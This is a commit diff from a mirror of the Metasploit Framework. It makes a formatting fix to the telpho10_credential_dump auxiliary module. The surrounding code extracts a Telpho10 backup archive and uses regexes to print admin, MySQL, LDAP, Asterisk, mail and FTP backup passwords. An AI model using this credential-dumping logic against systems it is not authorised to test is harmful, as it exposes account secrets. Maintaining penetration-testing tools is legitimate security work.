infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update telpho10_credential_dump.rb 

do not write to stdout
bug/bundler_fix
Jan Rude 2016-10-24 15:47:53 +02:00 committed by Pearce Barry
parent fb534a9e85
commit 05ee51a832
1 changed files with 14 additions and 14 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

28
modules/auxiliary/admin/http/telpho10_credential_dump.rb
View File

@ -67,40 +67,40 @@ class MetasploitModule < Msf::Auxiliary
end end
file.close file.close
puts
print_status('Login (/telpho/login.php)') print_status('Login (/telpho/login.php)')
print_status('-------------------------') print_status('-------------------------')
print_good('Username: ' + config.first[/adminusername\',\'(.*?)\'/, 1]) print_good('Username: ' + config.first[/adminusername\',\'(.*?)\'/, 1])
print_good('Password: ' + config.first[/adminpassword\',\'(.*?)\'/, 1]) print_good('Password: ' + config.first[/adminpassword\',\'(.*?)\'/, 1] + "\n")
puts
print_status('MySQL (/phpmyadmin)') print_status('MySQL (/phpmyadmin)')
print_status('-------------------') print_status('-------------------')
print_good('Username: root') print_good('Username: root')
print_good('Password: ' + config.first[/dbpassword\',\'(.*?)\'/, 1]) print_good('Password: ' + config.first[/dbpassword\',\'(.*?)\'/, 1] + "\n")
puts
print_status('LDAP (/phpldapadmin)') print_status('LDAP (/phpldapadmin)')
print_status('--------------------') print_status('--------------------')
print_good('Username: ' + 'cn=admin,dc=localdomain') print_good('Username: ' + 'cn=admin,dc=localdomain')
print_good('Password: ' + config.first[/ldappassword\',\'(.*?)\'/, 1]) print_good('Password: ' + config.first[/ldappassword\',\'(.*?)\'/, 1] + "\n")
puts
asterisk_header = 'Asterisk MI (port 5038)' asterisk_header = 'Asterisk MI (port 5038)'
print_status(asterisk_header) print_status(asterisk_header)
print_status('-' * asterisk_header.length) print_status('-' * asterisk_header.length)
print_good('Username: ' + config.first[/manageruser\',\'(.*?)\'/, 1]) print_good('Username: ' + config.first[/manageruser\',\'(.*?)\'/, 1])
print_good('Password: ' + config.first[/managersecret\',\'(.*?)\'/, 1]) print_good('Password: ' + config.first[/managersecret\',\'(.*?)\'/, 1] + "\n")
puts
print_status('Mail configuration') print_status('Mail configuration')
print_status('------------------') print_status('------------------')
print_good('Mailserver: ' + config.first[/ipsmarthost\',\'(.*?)\'/, 1]) print_good('Mailserver: ' + config.first[/ipsmarthost\',\'(.*?)\'/, 1])
print_good('Username: ' + config.first[/mailusername\',\'(.*?)\'/, 1]) print_good('Username: ' + config.first[/mailusername\',\'(.*?)\'/, 1])
print_good('Password: ' + config.first[/mailpassword\',\'(.*?)\'/, 1]) print_good('Password: ' + config.first[/mailpassword\',\'(.*?)\'/, 1])
print_good('Mail from: ' + config.first[/mailfrom\',\'(.*?)\'/, 1]) print_good('Mail from: ' + config.first[/mailfrom\',\'(.*?)\'/, 1] + "\n")
puts
print_status('Online Backup') print_status('Online Backup')
print_status('-------------') print_status('-------------')
print_good('ID: ' + config.first[/ftpbackupid\',\'(.*?)\'/, 1]) print_good('ID: ' + config.first[/ftpbackupid\',\'(.*?)\'/, 1])
print_good('Password: ' + config.first[/ftpbackuppw\',\'(.*?)\'/, 1]) print_good('Password: ' + config.first[/ftpbackuppw\',\'(.*?)\'/, 1] + "\n")
puts
end end
def run def run
@ -139,7 +139,7 @@ class MetasploitModule < Msf::Auxiliary
extracted = untar("#{path}") extracted = untar("#{path}")
mysql = untar("#{extracted}/mysql.tar") mysql = untar("#{extracted}/mysql.tar")
print_status('Dumping credentials') print_status('Dumping credentials' + "\n")
dump_creds("#{mysql}/mysql.epb") dump_creds("#{mysql}/mysql.epb")
else else
print_error('Failed to download file.') print_error('Failed to download file.')